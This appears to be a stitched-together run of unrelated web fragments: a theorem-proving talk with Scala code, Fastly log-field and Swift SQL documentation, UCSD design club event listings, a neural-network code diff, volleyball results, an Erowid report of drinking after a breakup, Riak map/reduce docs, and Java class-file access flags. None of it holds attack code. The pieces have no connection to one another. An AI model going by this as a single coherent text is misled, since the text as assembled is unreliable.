val recNNN: Func[Func[ScalaTerm[SafeLong], ScalaTerm[SafeLong]], Func[Func[NatRing.Nat,Func[Func[ScalaTerm[SafeLong], ScalaTerm[SafeLong]], Func[ScalaTerm[SafeLong], ScalaTerm[SafeLong]]]], Func[NatRing.Nat, Func[ScalaTerm[SafeLong], ScalaTerm[SafeLong]]]]] = NatRing.rec(NatTyp ->: NatTyp)
val ackm: Func[ScalaTerm[SafeLong], ScalaTerm[SafeLong]] =
"ack(m)" :: NatTyp ->: NatTyp
val ackmp1n: ScalaTerm[SafeLong] = "ack(m+1)(n)" :: NatTyp
val ack: Func[NatRing.Nat, Func[ScalaTerm[SafeLong], ScalaTerm[SafeLong]]] =
recNNN(succ)(m :-> (ackm :-> recNN(ackm(Literal(1)))(n :-> (ackmp1n :-> (ackm(ackmp1n)))))
Generating Proofs
Identifying Lemmas
Accumulating knowledge
A simple model problem
- Let $M$ be a set, $*$ a binary operation on $M$ and $e_l,e_r\in M$ elements.
- Assume that
- $e_l * a = a$ for all $a\in M$,
- $a * e_r = a$ for all $a\in M$.
- We also use that equality is symmetric and transitive.
- To prove: $e_l = e_r$.
- We need to generate the proof.
-
We can form terms from others by, for instance, function application, i.e., $f(a)$ from $f$ and $a$.
-
Suppose that rules for forming terms are simple.
-
Then, given an initial distribution $P_0$ on terms, the final distribution can be recursively defined by a relation of the form
$$P = \alpha P_0 + \beta \mu_*(P) + \gamma \theta_*(P \times P) + \dots$$
- Function application alone gives the proof, but with very low a probability.
- Unification improves this (but still too low).
Identifying lemmas
- We identify potentially useful lemmas.
- Having a simple statement is a simple criterion.
- Another criterion is non-triviality - lemmas whose proof is harder
than the statement.
- The simple problem is easily solved with these.
- This can be refined using the Kullback-Liebler divergence between the statement-probability and proof-probability distributions on theorems; however we use an entropy term for parsimony.
- In the next phase, we will use machine learning.
Composable, higher-order generation
- To define functions as lambdas and construct statements with quantifiers, we need to introduce variables, so
the initial distribution changes.
- For this, the evolution function on probability distributions is
recursively defined.
- These are included in a composable, abstract framework for defining ways of generating appropriate objects, including terms.
- Using the abstract framework, we have recursive/inductive definitions, rules for targetting special types, backward reasoning etc.
- To find consequences of lemmas, we also use tangential generation, where terms of a base distribution do not combine
with each other, but only with terms of a tangent distribution.
-
In addition to generating probabilities of terms, we generate equation terms.
- These allow us to accumulate knowledge and combine generation.
- The accumulated knowledge is also suitable as data for machine learning.
Autonomous dynamics
Seeking non-trivial proofs
A Czech-Slovak Olympiad problem
- Let $*$ be a binary operation on a nonempty set $M$.
- That is, every pair $(a,b) \in M$ is assigned an element $a * b$ in $M$.
- Suppose that $*$ has the additional property that $(a * b) * b= a$ and $a * (a * b)= b$
for all $a,b \in M$.
- Show that $a * b = b * a$ for all $a,b \in M$.
- Achal Kumar, an undergraduate at IISc, explored solving this with ProvingGround (as it then was) about two years ago
(along with Omkar Baraskar).
- He could solve this, but with manual choice of lemmas (on top of the heuristics).
- This was chosen as the first (serious) target for autonomous running.
- Much of the work was actually improving the performance of many parts of the code.
- While seeking a proof, we watch for some lemmas.
- The first of these (number 0) is the final goal
- $ m*n = n*m $
- $ (m*n)*n = m $
- $ (m*n)*((m*n)*n) = n$
- $ n = (m*n)*((m*n)*n) $
- $ (m * n) * ((m * n) * n) = (m * n) * n $
- $ ((m * n) * m * m) = m * n $
- $ n = (m *n) * m $
- $ n * m = ((m * n) * m * m) $
- $ n * m = m * n $
- In addition to generating terms (possibly with goals and/or using tangents) and identifying lemmas, we have bots for
(among other things)
- using induction/recursion for backward reasoning,
- introducing variables,
- instantiation for existential quantifiers,
- negating goals,
- proving by contradicting hypothesis,
- Skolemization.
- We seek a proof, with lots of bots, of
$\forall n\in \mathbb{N}\ \ f(n) = f(n+1) \implies \forall n\in\mathbb{N}\ f(n) = f(0)$.
Towards Machine learning
- For initial data, we import from Lean.
- We trace back a term using equations to get weighted descriptions.
- We will use machine learning to predict the weights in descriptions of proofs.
-
The prediction is also based on the weight of a term in the description of the type (statement).
-
We need to also work with unfamiliar terms.
-
Predicting the weight of terms in the descriptions of other terms allows Representation learning.
- In the longer run we hope to use Transformers.


The AlertBComponent is the equivalent of Bootstrap's Alert component. Use this to display important information to users.
AlertBComponent


This page can be used to create and modify JSON log lines for services such as Splunk, Sumologic, Big Query.
This is not an official Fastly tool and comes with no guarantee or support. Use entirely at your own risk.
My logging provider is and I am configuring using
Client IP
Request Method
Host
URL
Request is TLS
Cache Status
Cache Control
Age
Cache Hits
Latitude
Longitude
City
Country Code
Region
AS Number
AS Name
WAF Logged
WAF Blocked
WAF Failures
WAF Rule ID
WAF Severity
WAF Passed
WAF Log Data
WAF Message
WAF Executed
WAF Anomaly Score
WAF SQL Injection Score
WAF RFI Score
WAF LFI Score
WAF XSS Score
WAF HTTP Violation Score
WAF RCE Score
WAF PHP Injection Score
WAF Session Fixation Score
Use this section to add fields that aren't pre-defined. The types dropdown correspond to how they will present inside the JSON. The "identified by" input is for the name of the value or "key" and the "value is" input is either a literal value, or the VCL to get the value.
I want to add a identified by . Its value is .
Will hold the generated logging string
Click a key:value pair to remove from the json.
Source code and contributions available at https://github.com/jondade/json-log-generate
Copyright Jonathan Dade 2017-2019. No cookies in use on this site. Use site entirely at own risk.


Structures
The following structures are available globally.
-
Options for
See moreConectionPool
configuration.Declaration
Swift
public struct ConnectionPoolOptions
-
A condition used in an SQL WHERE or ON clause.
See moreDeclaration
Swift
public struct Filter: ConditionalClause, QueryFilterProtocol
-
An SQL HAVING clause.
See moreDeclaration
Swift
public struct Having: ConditionalClause, QueryHavingProtocol
-
SQL varchar type.
See moreDeclaration
Swift
public struct Varchar: SQLDataType
-
SQL char/character type.
See moreDeclaration
Swift
public struct Char: SQLDataType
-
SQL date type.
See moreDeclaration
Swift
public struct SQLDate: SQLDataType
-
SQL time type.
See moreDeclaration
Swift
public struct Time: SQLDataType
-
SQL timestamp type.
See moreDeclaration
Swift
public struct Timestamp: SQLDataType


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If you’re developing your professional design skills, starting to learn about design, or just looking to hang out, you’re in the right place.
Our events include skill-building workshops, talks presented by design industry guests, community networking events, alumni panels, and social hangouts.
Stay in the loop about design events and opportunities both on and off campus by subscribing to our newsletter.
For those who have questions about design but aren't able to participate in the Mentorship Program, we will be holding Open Mentorship Hours on Thursday, February 23 from 5-6:30 PM in HSS 1346. Come stop by!
Hosted by Design at UCSD
Click to learn moreDesign at UCSD welcomes Emilia Pucci, an Interaction Designer and Researcher at Round Feather, an innovation consulting firm that helps companies develop products and services that bring happiness to people through emotion-driven design. Join us for an interactive workshop to learn more about best practices for UX research and design as she shares advice and tips for creating innovative and culturally immerse digital experiences. Make sure to check out our Facebook page for a link to the Google signup form!
Hosted by Design at UCSD
Click to learn moreBring a friend or two and come out to our Movie Night! We will be screening the show Abstract: The Art of Design, a Netflix original series that takes viewers inside the minds of the most innovative designers in a variety of disciplines and illustrates how design impacts every aspect of life. Don’t miss out!
Hosted by Design at UCSD
Click to learn moreWith Sketch becoming a staple among designers in companies like Apple, Facebook, and Google, Design at UCSD will be hosting an introductory Sketch workshop to teach attendees the fundamentals of vector-based design and offer an opportunity to practice Sketch principles through creating a mockup. Also check out our TapEx game night afterwards!
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Click to learn moreWe all know how stressful interviews can be. Whether or not your interview goes well may be the deciding factor in scoring your dream job. As a designer, a portfolio and strong interviewing skills are a must when applying to internships and jobs. We will go over what makes a strong portfolio that showcases your design thinking. Come out to our interactive workshop to learn and practice proven tips and strategies for setting yourself apart from other candidates and wowing your recruiter!
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Click to learn moreWith the Winter Career Fair (1/18) and DECaF (1/19) just around the corner, we’re going to hit the ground running with our first workshop of the quarter led by Alyssa and Kami, both Design at UCSD alumni and current Interaction Designers at HP. In this workshop, you’ll learn how to successfully build a strong UX-focused resume. Attendees can also have their resumes critiqued during the session in preparation for the upcoming job fairs.
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Click to learn moreKnowing HTML and CSS can help you build great websites, though getting started with it may seem daunting at first. Join us at this hands-on workshop where we tackle the basics of HTML and CSS. Just bring your computer and your favorite text editor.
Hosted by Design at UCSD
Click to learn moreKnowing HTML and CSS can help you build great websites, though getting started with it may seem daunting at first. Join us at this hands-on workshop where we tackle the basics of HTML and CSS. Just bring your computer and your favorite text editor.
Hosted by Design at UCSD
Click to learn moreIn this hands-on two part event, you’ll get the chance to tackle a design challenge by prototyping with Arduino, an open-source electronics platform based on easy-to-use hardware and software. (Although no experience working with Arduino is required!) If you like building things or just tinkering around, this event is for you! This is a closed event that requires pre-registration.
Hosted by Design at UCSD
Click to learn moreIn this hands-on two part event, you’ll get the chance to tackle a design challenge by prototyping with Arduino, an open-source electronics platform based on easy-to-use hardware and software. (Although no experience working with Arduino is required!) If you like building things or just tinkering around, this event is for you! This is a closed event that requires pre-registration.
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Click to learn moreThis coming Monday, Oct 24, Design at UCSD will be hosting Demian Borba, a project manager from Adobe, to speak about the human-centered design process that they utilized in creating Adobe Xd, which is an "all-in-one tool for creating and sharing website and mobile app designs." If you're interested in learning how companies like Adobe approach design or just want to checkout Adobe Xd, check out the form below to sign up.
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Click to learn moreThis Saturday (Oct 22), a handful of Design at UCSD members will be doing a 15-minute tour of the Fab Lab followed by a hike of Sunset Cliffs! There are a limited number of spots available for the Fab Lab Tour, but the hike is open to everyone! Fill out the form below if you're interested in one or both.
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Click to learn moreCrime in Gotham is at an all-time High. Join us this Wednesday night in a hands-on, interactive design sprint, where we work in small groups to brainstorm and prototype to help Batman save Gotham. Also, this is a good opportunity to meet others if you're on the fence about becoming a mentor or mentee.
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Click to learn moreSmart cities and digital democracy have begun to converge and create opportunities to enact new civic imaginaries. Much of the momentum behind these efforts derives from computing's promise of improved efficiency derived from the application of data to familiar problems. This application of technology to government holds a number of assumptions about government and citizenship, many of which rely on objective, rational, and consumption-based notions of service selection and delivery. This talk addresses how community-based design can be developed to sustain community engagement and empowerment through forms of data-based participation.
Hosted by the Design Lab
Click to learn moreInterested in pursuing a career in design? Whether you’re a novice just learning what User Experience (UX) is or you’re an expert honing your design skills, you’ll walk away from this event with a better understanding of UX design and related jobs. Professional UX/UI designer and UCSD alumnus Caitlin Cagampan from Mitchell Intl. will be joining us to share her own experience transitioning from student to designer and to provide an overview of the different design specialties a UX career can entail.
Hosted by Design at UCSD
Click to learn moreMany of the chunks of time we have in a day are too short to bother trying to use productively. We try to defrag our time by booking meetings with ourselves, turning off our phones, and taking email vacations. But there is another way. Rather than fighting fragmentation by changing how we work, we can embrace it by changing our tasks to fit the way we actually do work. This talk will go over the idea of microproductivity and how we can transform the way we work by breaking large tasks into smaller microtasks.
Hosted by the Design Lab
Click to learn moreComputer programming is now a vital skill, but millions of people around the world struggle to learn it on their own without being able to get help from a human tutor. To address this significant access gap, I created Python Tutor, a pedagogical code visualization, and social learning system. This talk will describe the Python Tutor visualization platform and three social learning systems built upon it. Taken together, these systems help people around the world learn programming even when they do not have access to scarce in-person tutoring resources.
Hosted by the Design Lab
Click to learn moreJoin us for some free food and good times. We’ll be launching off the quarter by taking a look back at last year’s accomplishments, working together on a simple design challenge, defining what design means to us, and looking ahead to see what’s in store for the upcoming year with Design at UCSD.
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Click to learn moreWant to know what Design at UCSD is all about? Come out to library walk to hear first hand from some of our members about who we are, what we do, and why we do it.
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Before Change
return net
def block17(net, scale=1.0, activation="relu"):
tower_conv = conv_2d(net, 192, 1, normalizer_fn="batch_normalization", activation="relu", name="Conv2d_1x1")
tower_conv_1_0 = conv_2d(net, 128, 1, normalizer_fn="batch_normalization", activation="relu", name="Conv2d_0a_1x1")
tower_conv_1_1 = conv_2d(tower_conv_1_0, 160,[1,7], normalizer_fn="batch_normalization", activation="relu",name="Conv2d_0b_1x7")
tower_conv_1_2 = conv_2d(tower_conv_1_1, 192, [7,1], normalizer_fn="batch_normalization", activation="relu",name="Conv2d_0c_7x1")
tower_mixed = merge([tower_conv,tower_conv_1_2], mode="concat", axis=3)
tower_out = conv_2d(tower_mixed, net.get_shape()[3], 1, normalizer_fn="batch_normalization", activation=None, name="Conv2d_1x1")
net += scale * tower_out
if activation:
if isinstance(activation, str):
net = activations.get(activation)(net)
After Change
return net
def block17(net, scale=1.0, activation="relu"):
tower_conv = relu(batch_normalization(conv_2d(net, 192, 1, bias=False, activation=None, name="Conv2d_1x1")))
tower_conv_1_0 = relu(batch_normalization(conv_2d(net, 128, 1, bias=False, activation=None, name="Conv2d_0a_1x1")))
tower_conv_1_1 = relu(batch_normalization(conv_2d(tower_conv_1_0, 160,[1,7], bias=False, activation=None,name="Conv2d_0b_1x7")))
tower_conv_1_2 = relu(batch_normalization(conv_2d(tower_conv_1_1, 192, [7,1], bias=False, activation=None,name="Conv2d_0c_7x1")))
tower_mixed = merge([tower_conv,tower_conv_1_2], mode="concat", axis=3)
tower_out = relu(batch_normalization(conv_2d(tower_mixed, net.get_shape()[3], 1, bias=False, activation=None, name="Conv2d_1x1")))
net += scale * tower_out
if activation:
if isinstance(activation, str):
net = activations.get(activation)(net)


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@if(session.get("refresh_token") == null ) {
Connect to Google
} @if(session.get("token") == null) {
Connect to Evernote
} else {
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}
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Northern Lights - Minneapolis Convention Center - All times Central
18 Bob - 2-1 so far. 18 Open Pool 1 starts again at 8:30am on Court 24.
18 John - won pool at 3-0! #2 in 18 USA Round 2 Pool 2 at 9:30am on Court 20.
18 Karen - 3rd in pool at 1-2, lost playoff. #1 in 18 American Division 2 Pool 1 at 3pm on Court 28.
Central Zone Invitational - Indianapolis Convention Center
17 Jing - #2 overall seed and #1 in 17 Open Pool 2 at 11am on Court 10.
17 Marc - #2 in 17 Open Pool 3 at 12pm on Court 11.
16 Gabe - #1 overall seed and #1 in 16 Open Pool 1 at 8am on Court 1.
K2 Wilderness at the Smokies - Sevierville Events Center - Sevierville, TN
16 Liang - #3 overall seed and #1 in 16 Power Pool R1P3 at 2:30pm on Court 17.
15 Haley - #2 in 15 Power Pool R1P5 at 9am on Court 5.
14 Anna - #3 overall seed and #1 in 14 Power Pool R1P3 at 8am on Court 21.
14 Tory - #2 in 14 Power Pool R1P4 at 9am on Court 11.
13 Maureen - #2 overall seed and #1 in 13 Power Pool R1P2 at 9am on Court 16.
13 Tina - #3 in 13 Power Pool R1P1 at 8am on Court 15.
13 Alex - #3 in 13 Power Pool R1P5 at 8am on Court 19.
12 Kelly - #2 overall seed and #1 in 12 Power Pool R1P2 at 8am on Court 10.
11 Walter - #2 in 12 Power Pool R1P1 at 9am on Court 9.
18 Boys - #2 overall seed and #1 in 18 Boys Pool R1P2 at 2:30pm on Court 8.
16 Boys - #4 in 16 Boys Pool R1P1 at 3:30pm on Court 6.
14 Boys - #1 overall seed and #1 in 14 Boys Pool R1P1 at 3pm on Court 7.


$15.00 - Codral Cold and flu.
$20.00 - Neurofen for cold.
$16.00 - Lemsip flu drink.
$10.00 - Demazin for kids.
$30.00 - Cough Throat Lozenge.
$4.00 - Mint Gum.


I am a very uncertain person, and yesturday it just showed through so much. I was depressed, and I have a bit of a problem distinguishing the truth on how I feel about someone/something, especially when it came to love.
So I went over to my ex's house and drunk 1 and a half shots or so of 70 proof, and between 3 or 4 beers.  I was extremely minded at the time, and was hanging out with my ex, and just got a desire to tell her the truth, something I can not do when Iím sober. I felt that I made up my mind of how I felt about my ex, so I told her how I felt instead of what she wanted to hear, I was completely straightforward, honest, and blunt(though not rude). I find that I sugar coat things way too much when Iím sober, and when Iím drunk I see things as they really are and the curtains covering the truth are completely released. It's pretty amazing.
Somehow I wake up the next day, and I feel so much more understanding and I feel like I can take closure from her. I don't feel as dependent for her, and I just feel more independent, and very optimistic and enlightened to think of another road. A day before this experience I was terrified to think of no Tiff and was extremely clung to her, when I got drunk I saw all the flaws the way they ARE, I was not in denial of them, and I saw just how irresponsible it would have been to go out with her, etc.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


riak
Map/Reduce in Riak
The map/reduce programming model
Riak provides a data processing implementation based on the MapReduce model popularized by Google and since adapted by Hadoop as well as others. Like every known map/reduce implementation, ours is shaped to best take advantage of our own approach to distributed data organization.
bring the computation to the data
One of the main reasons to use a map/reduce style of programming is to exploit data locality. For data processing in a networked environment, it is generally understood that making the computation run where the data is already located will often perform much better (and be much more practical to manage) than moving all the data to the systems that will perform the computation. Since Riak is designed around algorithms to manage and find data efficiently, the shape of our map/reduce implementation follows naturally from the rest of the system.
A map/reduce query or "flow" is simply a sequence of map and reduce phases, each feeding the next, and together providing an aggregate result.
A "map phase" is essentially just a function ("F") and an argument ("A") that is defined as part of a series of phases making up a given map/reduce query. The phase will receive a stream of inputs ("I"), each of which consists of a key identifying a Riak object and an optional additional data element to accompany that object. As each input is received by the phase, a node that already contains the document ("D") corresponding to "I" will run F(D,A)
and stream along the results to the next phase. The point here is that your function can be executed over many data items, but instead of collecting all of the data items in one place it will execute wherever the data is already placed.
A "reduce phase" is conceptually simpler. As it receives inputs from the preceding phase, it collates those inputs along with the ones already received and continually "reduces" the input set until it receives notification that it will receive no further data, at which point the entire reduced set will be streamed to the next phase. Note that this makes a reduce phase a concurrency barrier, as opposed to map phases which can be processing in parallel. In order for this process to make any sense, a reduce phase's function must be commutative, associative, and idempotent. Good examples are sum
and set-union
. As Riak's core focus is on decentralized data storage and not on compute farming, reduce phases are generally run on a single cluster -- there is no data-locality gain to be had in reduce.
A perfect fit for the Web
Since the original published use of map/reduce was for processing Web search indices, it should come as no surprise that this model is a great fit for the general problem of processing linked data. That is, if your data set consists of many mostly-independent documents, loosely coupled by way of links inside the documents, then map/reduce is very likely to be a good approach to querying that data collection. To make this even easier, we have added a superficial third type of phase to the model, the "link" phase. In fact, link phases are just map phases, parameterized ahead of time such that the map function will be a function that knows enough about your document types to extract links matching a given pattern or tag. While such map phases can of course be written manually, we saw this operation so frequently that we made a shorthand for it -- and now those phases are by far the most common use of our map/reduce engine.
not just for bulk processing
While the most popular map/reduce systems out there are generally used to apply a map/reduce flow over an entire body of data, Riak provides a more focused approach. A query is instead "seeded", or provided with the explicit list of inputs that will be used by the first phase in the query. This approach, combined with the link-following convention, allows for an entirely new set of uses for the map/reduce programming paradigm.
the gory details
A map/reduce query is initiated with two arguments. The first is simply the list of values (usually bucket/key pairs as the first phase is almost always a map phase) that will be sent to the first phase in the flow. The second argument is a list of terms declaring the flow of phases for this query.
A map phase is declared as:
{map, FunTerm, Arg, Accumulate}
FunTerm
is a reference to the function that will compute the map of
each value. A function referenced by a FunTerm must be arity-3,
accepting the arguments (Value, Data, Arg)
as follows:
Value
is the value found at a key. This will either be a Riak object structure (accessed via the riak_object module) or else the tuple {error, notfound}
.
Data
is an optional piece of data attached to the bucket/key pair that initiated this execution. If instead of {Bucket, Key}
, {{Bucket, Key}, Data}
is passed as an input to a map step, that Data
will be passed to the map function in this argument. Data
will be the atom 'undefined'
if the former form is used.
Arg
is the argument by the same name that was passed to the overall map phase declaration.
The FunTerm
may take one of two forms: Either {modfun, Module, Function}
where Module
and Function
are atoms that name an Erlang function in a specific module, or {qfun, Function}
where Function
is a callable fun term.
Accumulate
should be set to true
for all phases whose output is desired in the final result of the map/reduce execution, and false
for all others. The most common pattern is to set this to true
in only the very last phase, but some interesting queries can be produced by setting it earlier as well.
Note that a map function must return a list of values, each of which will be an input to the next phase.
A reduce phase is declared as:
{reduce, FunTerm, Arg, Accumulate}
Where the terms are essentially the same as for map, with the exception that the function referenced by FunTerm
must be arity 2. It takes (ValueList, Arg)
with Arg
playing the same role as before and ValueList
being a round of (possibly already processed) inputs to reduce.
Much like with map, a reduce function must return a list of values. This list will be combined with the next input list the next time the reduce function is called, which is why the reduce function must be commutative, associative, and idempotent.
The third and final type of phase is a link phase, declared as {link, Bucket, Tag, Accumulate}
. For this kind of phase to work, there must already be a linkfun
property set on Bucket
in the cluster, which must return a FunTerm
. This will be translated into a map phase with that term, looking like: {map, FunTerm, {Bucket,Tag}, Accumulate}
.


WeatherMe
2011
A mobile application concept to help San Franciscans find more sunshine. This was the final project for my Industrial Design degree. It is a research and development project. The end result is a stunning design process book. This concept was also a Finalist in the Core77 Fast Track Mobile App contest.
When I started this project, I lived in San Francisco's Sunset district. At the time, I was unhappy with how poor weather reporting was for the City. The microclimates in San Francisco are such that it can be overcast and 50°F in one part of the city and at the same time 75°F and sunny in another part. At the time, there was no reliable way to get this information.
There still isn't.
Research
Research began with problem statement, needs analysis and product comparison. The best information came from speaking with a panel of experts in weather and in data collection. I spoke with a meteorologist, an air traffic controller and the VP of Platforms Engineering at Twitter. The conclusion to this research was that there is not enough weather data collection in San Francisco to know where the sun is shining at a district level within the city.
Development
Development began with ideation sessions. Refining ideas and then examining the feasibility of top ideas. Once it was clear that some sort of social networking system would be needed, I started evaluating other issues such as location accuracy, human ability to report weather and visual style of maps when temperature is the key visual item, not geograhic features.
Execution
Execution is where I began to iterate on design features. Important things I considered included brand identity, visual style and usability principles. The main usability issue I dealt with was how to get people to take time out of their day to report the weather. Several small solutions such as location change notifications are included in the document.
Future
In all my projects I like to include a section on Possible Future Development. This section is where I can lay out areas for future research and development. This section is full of things that were desired but not required for the final product. Things that will, hopefully, be examined in more detail in the future.
Research
Research began with problem statement, needs analysis and product comparison. The best information came from speaking with a panel of experts in weather and in data collection. I spoke with a meteorologist, an air traffic controller and the VP of Platforms Engineering at Twitter. The conclusion to this research was that there is not enough weather data collection in San Francisco to know where the sun is shining at a district level within the city.
Development
Development began with ideation sessions. Refining ideas and then examining the feasibility of top ideas. Once it was clear that some sort of social networking system would be needed, I started evaluating other issues such as location accuracy, human ability to report weather and visual style of maps when temperature is the key visual item, not geograhic features.
Execution
Execution is where I began to iterate on design features. Important things I considered included brand identity, visual style and usability principles. The main usability issue I dealt with was how to get people to take time out of their day to report the weather. Several small solutions such as location change notifications are included in the document.
Future
In all my projects I like to include a section on Possible Future Development. This section is where I can lay out areas for future research and development. This section is full of things that were desired but not required for the final product. Things that will, hopefully, be examined in more detail in the future.


My Favorites
This is a page about my favorites movies, songs and more.
Movies
- Ready Player One
- Mad Genius
- The Equalizer
- Crazy Rich Asian
- Who Am I - No System Is Safe
Songs
-
"Sweet Disposition"
by Temper Trap
-
"Closer To The Edge"
by 30 Second To Mars
-
"Tiga Pagi"
by Fletch
-
"Liburan Indie"
by Endah N Resha
-
"Man Upon The Hill"
by Stars and Rabbit
Foods
- Fried Rice, Fried Chicken, Fried Fries
- Siomay, Batagor, Cilok, Lorhun
- Soto Ayam, Soto Daging
- Avocado, Watermelon, Orange, Manggo and more
- Grilled Ribs
Books
- HTML and CSS design and build websites by Jon Duckett
- Javascript and Jquery interactive front-end web development by Jon Duckett
- Learning HTML and CSS - Fundamental Tutorials in learning HTML and CSS by Rian Ariona
- A Smarter Way to Learn JavaScript by Mark Myers
- A Smarter Way to Learn Jquery by Mark Myers


Level Defining Diagram
"Descriptive Category" used to describe the level to which something obtains.
Supertypes:
Descriptive Category
Subtype Partitions:
Level/Direction
Certainty Level
Desirability Level
Normality Level
Urgency
Access Type
Significance Level


Because each zone usually needs a private network interface for its server, you can enter it's IP address on this form, and select the real interface to which it is bound. All zones automatically have a virtual loopback interface like lo0:1, which does not have to be manually configured.
If you choose to install the zone's system software after it is created, the new zone will be immediately ready to use. However, if you want to add or change package directories, you may choose not to install now as this will prevent these changes from being made.
Package directories can also be specified on this form, to be added before the zone is installed. The directories /lib, /platform, /sbin and /usr are always automatically included in any new zones.


Since its debut in 2011, HBO's Game of Thrones has become one of the most popular and critically acclaimed shows on TV.
With an intricate storyline and an amazing cast, how could you not be hooked?
The show is based on the book series A Song of Ice and Fire by George R. R. Martin.
The show takes place in the fictional lands of Westeros and Essos and follows the lives
of the leading families in Westeros competing for the throne (hence the "game of thrones").
The fifth season premiered on April 12, 2015 so, to get caught up, the map below shows the notable
towns and castles in the show and which families rule those locations.


Dear Fairshots community,
It is with a heavy heart that we announce the end of operations for Fairshots.org. This decision was not
made lightly, and we understand that this may come as a disappointment to many of you.
We would like to extend our gratitude to our dedicated users and supporters who have helped make Fairshots a
reality. Your contributions and passion for making a better world through photography have been a source of
inspiration for us.
Together, we collaborated on many meaningful projects that helped make the world a better place through the
power of photography. Your talent and creativity have left a lasting impact, and we are proud to have been a
part of your journeys.
Despite this setback, we remain optimistic about the future and are excited to pursue new endeavors that
will continue to support and promote both the photography and NGO's communities.
Thank you for being a part of the Fairshots community. We hope to stay in touch and continue to support each
other in our future endeavors.
To see a record of what we were for a while, you can find us on Instagram
@Fairshots
Sincerely,
The Fairshots Team


Arduino
The next stage is to convert the analog output signals from the optoisolators to digital information. We can then process this digital information into a useful form before we send it to the computer for graphing an storage. This task is done by a great piece of hardware called an Arduino:
The voltage outputs of the HCPL-7520 optoisolators are connected to two Arduino analog inputs. The Arduino turns the analog input signals into digital information with an onboard Analog to Digital converter.
The Arduino ADC has a resolution of 10bits this along with the sample rate determines the detail of the digital representation of the input anaolog signal. If we take our 0-5V range, 10 bits means we can divide that range in to 2^10 or 1024 divisions. The ADC therfore has a 5V / 1024 = 4.8mV sensitivity (It can detect changes in the input voltage of 4.8mV).
To illustrate why this is important to us lets take the maximum power value that we could measure with our 0.025Ohm current sensing resistor above = 3482Watts. 3482Watts corresponds to a 5V input signal and 0W a 0V input signal. Therefore the accuracy that we can know our power is given by:
This means that the larger range we design our system to measure power over the less acurate our power measurements will be which is worth taking into consideration depending on your application.
The other consideration that determines how accurate your digital representation of the input analog signal is the sampling rate. This is how many measurements we make of the analog input per second the analog signal changes a great deal, many times a second. Therefore to faithfully reproduce the analog waveform digitally many readings have to be taken. For more information on this see the Aruino firmware code description for the power logger and the voltage current waveform sampler, links below.
The amount of memory that the Ardunio has onboard also has implications for the amount of processing that can be done on the current and voltage digital information. As does the data transfer rate from the Ardunio to the computer.


EBD - Easton Bible DIctionary
Couch
COUCH
"COUCH "(
Genesis 49:4
;
1 Chronicles 5:1
;
Job 7:13
;
Psalm 6:6
, etc.), a seat for repose or rest. (See BED.)
"COUCH "(Genesis 49:4; 1 Chronicles 5:1; Job 7:13; Psalm 6:6, etc.), a seat for repose or rest. (See BED.)


| tbbLibraryPath {RcppParallel} | R Documentation |
Retrieve the path to a TBB library. This can be useful for R packages using RcppParallel that wish to use, or re-use, the version of TBB that RcppParallel has been configured to use.
tbbLibraryPath(name = NULL)
name |
The name of the TBB library to be resolved. Normally, this is one of
|


| Flag Value | Class Flag | Field Flag | Method Flag |
|---|---|---|---|
0x0001 |
ACC_PUBLIC | ACC_PUBLIC | ACC_PUBLIC |
0x0002 |
ACC_PRIVATE | ACC_PRIVATE | |
0x0004 |
ACC_PROTECTED | ACC_PROTECTED | |
0x0008 |
ACC_STATIC | ACC_STATIC | |
0x0010 |
ACC_FINAL | ACC_FINAL | ACC_FINAL |
0x0020 |
ACC_SUPER | ACC_SYNCHRONIZED | |
0x0040 |
ACC_VOLATILE | ACC_BRIDGE | |
0x0080 |
ACC_TRANSIENT | ACC_VARARGS | |
0x0100 |
ACC_NATIVE | ||
0x0200 |
ACC_INTERFACE | ||
0x0400 |
ACC_ABSTRACT | ACC_ABSTRACT | |
0x0800 |
ACC_STRICT | ||
0x1000 |
ACC_SYNTHETIC | ACC_SYNTHETIC | ACC_SYNTHETIC |
0x2000 |
ACC_ANNOTATION | ||
0x4000 |
ACC_ENUM | ACC_ENUM | |
0x8000 |
对于Class来说，它并不支持ACC_PRIVATE
、ACC_PROTECTED
和ACC_STATIC
标识。
public class HelloWorld { public static class InnerClass { // } }
对于上面的代码，InnerClass
会带有ACC_STATIC
标识吗？
constant_pool_count='0014' (20) constant_pool ... ... |002| CONSTANT_Class {Value='sample/HelloWorld$InnerClass', HexCode='070011'} |003| CONSTANT_Class {Value='java/lang/Object', HexCode='070012'} ... ... class_info='0021000200030000' access_flags='0021' ([ACC_PUBLIC,ACC_SUPER]) // 注意，这里没有ACC_STATIC标识 this_class='0002' (#2) super_class='0003' (#3) interfaces_count='0000' (0) interfaces='' ([])
0x0020
，对于Class来说，它表示ACC_SUPER
；对于Field来说，它还没有定义；对于Method来说，它表示ACC_SYNCHRONIZED
。
0x0040
，对于Class来说，它还没有定义；对于Field来说，它表示ACC_VOLATILE
；对于Method来说，它表示ACC_BRIDGE
。
0x0080
，对于Class来说，它还没有定义；对于Field来说，它表示ACC_TRANSIENT
；对于Method来说，它表示ACC_VARARGS
。
A class file must not have both its ACC_FINAL
and ACC_ABSTRACT
flags set.
If the ACC_INTERFACE
flag is set, the ACC_ABSTRACT
flag must also be set, and the ACC_FINAL
, ACC_SUPER
, and ACC_ENUM
flags set must not be set.
If the ACC_INTERFACE
flag is not set, any of the other flags may be set except ACC_ANNOTATION
.
An annotation type must have its ACC_ANNOTATION
flag set. If the ACC_ANNOTATION
flag is set, the ACC_INTERFACE
flag must also be set.
Java Code Geeks: How and when to use Enums and Annotations： Enums could be treated as a special type of classes and annotations as a special type of interfaces.
Each field of a class may have at most one of its ACC_PUBLIC
, ACC_PRIVATE
, and ACC_PROTECTED
flags set, and must not have both its ACC_FINAL
and ACC_VOLATILE
flags set (JLS §<IP_ADDRESS>).
The Java volatile
keyword is used to mark a Java variable as "being stored in main memory".
More precisely that means, that every read of a volatile variable will be read from the computer's main memory, and not from the CPU cache, and that every write to a volatile variable will be written to main memory, and not just to the CPU cache.
Fields of interfaces must have their ACC_PUBLIC
, ACC_STATIC
, and ACC_FINAL
flags set; they may have their ACC_SYNTHETIC
flag set and must not have any of the other flags set.
Methods of classes may have any of the flags set. However, each method of a class may have at most one of its ACC_PUBLIC
, ACC_PRIVATE
, and ACC_PROTECTED
flags set.
Methods of interfaces may have any of the flags set except ACC_PROTECTED
, ACC_FINAL
, ACC_SYNCHRONIZED
, and ACC_NATIVE
.
In a class file whose version number is less than 52.0, each method of an interface must have its ACC_PUBLIC
and ACC_ABSTRACT
flags set;
